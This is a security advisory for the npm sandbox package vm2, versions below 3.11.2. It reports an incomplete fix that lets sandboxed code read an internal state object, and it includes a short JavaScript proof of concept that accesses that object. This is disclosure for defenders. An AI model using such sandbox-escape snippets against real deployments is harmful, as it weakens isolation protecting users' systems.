GitHub Advisoryadvisory · npm
GHSA-2cm2-m3w5-gp2f vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
MEDIUM
Official page ↗
- Ecosystem
- npm
- Packages
- vm2
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-693
- Reviewed
- 2026-05-08
Affected packages
• npm vm2: < 3.11.2 → fixed in 3.11.2
Description
Summary
https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.
Details
It is still possible to get access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`.
PoC
```js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
```
Related
Weakness · CWE (1)
- CWE-693 Protection Mechanism Failure weakness